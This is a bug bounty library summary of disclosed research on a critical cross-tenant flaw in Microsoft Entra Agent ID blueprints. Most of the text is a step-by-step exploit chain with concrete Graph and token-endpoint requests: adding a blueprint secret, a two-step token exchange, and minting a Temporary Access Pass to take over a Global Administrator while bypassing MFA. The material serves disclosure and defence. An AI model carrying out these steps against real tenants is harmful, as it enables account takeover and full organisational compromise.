# Entra Agent ID: Inside a cross-tenant agent compromise

A credential added to a third-party Entra agent blueprint authenticates as any agent built from it in any tenant, enabling cross-tenant takeover to Global Administrator.

- Payout: Research
- Severity: critical
- Program: Microsoft Entra
- Credited: Datadog Security Labs
- Disclosed: 2026-06-18
- Write-up quality: 8/10
- Original: https://securitylabs.datadoghq.com/articles/agent-id-inside-agent-compromise/
- Library page: https://bugbountylibrary.com/r/blog%3Asecuritylabs-datadoghq-com-articles-agent-id-inside-agent-compromise
- Tags: domain:cloud impact:ato impact:internal-access impact:privesc kind:research platform:threat-intel sev:critical tech:azure technique:chained technique:recon vuln:access-control vuln:auth-bypass vuln:privilege-escalation

**Target:** Entra Agent ID blueprint / agent identity (Microsoft Graph, login.microsoftonline.com)
**Root cause:** A credential on an agent blueprint authenticates as every agent identity, blueprint principal, and agent user associated with that blueprint in any tenant, with no tenant-level trust boundary. Blueprint principals also carry AgentIdentity.CreateAsManager, letting them enumerate and impersonate affiliated agents.
**Steps:**
1. Compromise a user with Agent ID Administrator in the corporate tenant; find blueprint 'People Team Agents' (appId 0cec06c9-...).
2. `POST /beta/applications/0cec06c9-146f-4c91-a4d6-c5085d95bab4/addPassword` with the compromised Graph token; capture `secretText`.
3. Find a guest user's UPN domain (subsidiary.com); resolve tenant ID via `https://login.microsoftonline.com/subsidiary.com/.well-known/openid-configuration` token_endpoint.
4. Authenticate as blueprint principal in subsidiary tenant: `POST /oauth2/v2.0/token` with `client_id=<blueprint appId>&client_secret=<secret>&scope=https://graph.microsoft.com/.default&grant_type=client_credentials`.
5. Enumerate agents: `GET /beta/serviceprincipals/Microsoft.Graph.AgentIdentity?$filter=agentAppId eq '0cec06c9-...'`; note agent id (e.g. 11778f67-...).
6. Token exchange 1: `POST /oauth2/v2.0/token` with `client_id=<blueprint>&fmi_path=<agent id>&scope=api://AzureADTokenExchange/.default&client_secret=<secret>&grant_type=client_credentials`.
7. Token exchange 2: `POST /oauth2/v2.0/token` with `client_id=<agent id>&scope=https://graph.microsoft.com/.default&client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer&client_assertion=<token1>&grant_type=client_credentials`.
8. List users via User.Read.All; find 'globaladmin'.
9. `POST /v1.0/users/<id>/authentication/temporaryAccessPassMethods` with `{"lifetimeInMinutes":480,"isUsableOnce":false}` to mint a TAP.
10. Sign in to portal.azure.com as globaladmin using the TAP, bypassing password and MFA; confirm Global Administrator role.
**How found:** Researcher reasoned from Entra's agent identity model (part 1) that blueprint credentials authenticate all associated identities; tested by adding a credential to a blueprint with no local agents, then hunting affiliated tenants via guest UPN domains and OIDC discovery, and probing token issuance per tenant.
**Exploitation:** Attacker with Agent ID Administrator adds a password credential to a third-party blueprint, resolves an affiliated tenant via a guest UPN domain, authenticates as the blueprint principal there, enumerates agent identities via AgentIdentity.CreateAsManager, performs a two-step token exchange (fmi_path then client_assertion) to become the privileged Temporary Access Agent, then mints a Temporary Access Pass on a Global Administrator account and logs into the Azure Portal, bypassing password and MFA.
**Escalation:** Chained blueprint credential -> cross-tenant blueprint principal -> agent identity token exchange -> TAP issuance on globaladmin -> full tenant compromise.
**Insight:** Blueprint credentials are tenant-agnostic: a secret added in tenant A yields tokens in any tenant B where the blueprint was consented. Enumerate affiliated tenants from guest UPN domains and OIDC discovery, and use the fmi_path + AzureADTokenExchange two-step exchange to pivot from blueprint principal to any agent identity.